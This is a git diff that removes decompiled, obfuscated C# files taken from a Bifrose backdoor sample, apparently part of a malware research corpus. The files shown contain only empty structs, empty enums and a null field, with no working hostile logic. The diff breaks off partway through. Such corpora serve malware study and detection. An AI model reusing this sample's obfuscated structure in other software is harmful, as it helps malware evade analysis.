b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0081é/_0081ê.cs deleted file mode 100644 index e3950f4f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0081é/_0081ê.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: é.ê -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using System.Reflection; - -namespace \u0081é -{ - internal class \u0081ê - { - internal static Assembly \u0081\u0099 = (Assembly) null; - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/1_0081î.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/1_0081î.cs deleted file mode 100644 index e130c415..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/1_0081î.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.î -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 32)] - internal struct \u0081î - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/1Ä.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/1Ä.cs deleted file mode 100644 index c86aa7d3..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/1Ä.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ä -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [StructLayout(LayoutKind.Sequential, Size = 28)] - internal struct Ä - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081$.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081$.cs deleted file mode 100644 index d8a1db6f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081$.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.$ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(65)] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 216)] - internal struct \u0081\u0024 - { - [MiscellaneousBits(65)] - [DebugInfoInPDB] - [NativeCppClass] - [StructLayout(LayoutKind.Sequential, Size = 16)] - internal struct \u0081ö - { - } - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0080.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0080.cs deleted file mode 100644 index 9e4847b9..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0080.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.€ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u0080 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0083.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0083.cs deleted file mode 100644 index 395dc90c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0083.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ƒ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0083 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0088.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0088.cs deleted file mode 100644 index b6b75a0c..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0088.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.ˆ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u0088 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_008B.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_008B.cs deleted file mode 100644 index 6f3a1de7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_008B.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.‹ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u008B - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0090.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0090.cs deleted file mode 100644 index 08f61df9..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0090.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼. -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0090 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0093.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0093.cs deleted file mode 100644 index f480e2b9..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0093.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.“ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u0093 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0097.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0097.cs deleted file mode 100644 index 663491d7..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_0097.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.— -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081\u0097 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_009C.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_009C.cs deleted file mode 100644 index 42077e96..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081_009C.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.œ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [NativeCppClass] - [MiscellaneousBits(64)] - [DebugInfoInPDB] - internal enum \u0081\u009C - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081 .cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081 .cs deleted file mode 100644 index e16756d4..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081 .cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.  -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081\u00A0 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081§.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081§.cs deleted file mode 100644 index 454b052b..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081§.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.§ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u00A7 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081«.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081«.cs deleted file mode 100644 index a8a23cd2..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081«.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.« -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081\u00AB - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081³.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081³.cs deleted file mode 100644 index 71f84ccc..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081³.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.³ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081\u00B3 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081¹.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081¹.cs deleted file mode 100644 index 6b3f4179..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081¹.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.¹ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081\u00B9 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Â.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Â.cs deleted file mode 100644 index 010de486..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Â.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Â -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [MiscellaneousBits(64)] - [NativeCppClass] - internal enum \u0081 - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Ç.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Ç.cs deleted file mode 100644 index 291a332f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Ç.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ç -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [DebugInfoInPDB] - [NativeCppClass] - internal enum \u0081Ç - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Î.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Î.cs deleted file mode 100644 index 10c7b84f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Î.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Î -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081Î - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Õ.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Õ.cs deleted file mode 100644 index 5baa10f2..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Õ.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Õ -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [DebugInfoInPDB] - [NativeCppClass] - [MiscellaneousBits(64)] - internal enum \u0081Õ - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Ü.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Ü.cs deleted file mode 100644 index cb2b8031..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081Ü.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‚¼.Ü -// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -namespace \u0082\u00BC -{ - [MiscellaneousBits(64)] - [NativeCppClass] - [DebugInfoInPDB] - internal enum \u0081Ü - { - } -} diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ã.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fvwi-2a0b45df850ca44bf2dc41c70840d23b3e4a0c4f92a04eaabd1808406284eea0/_0082¼/_0081ã.cs deleted file mode 100644 index 70989185..00000000 --- 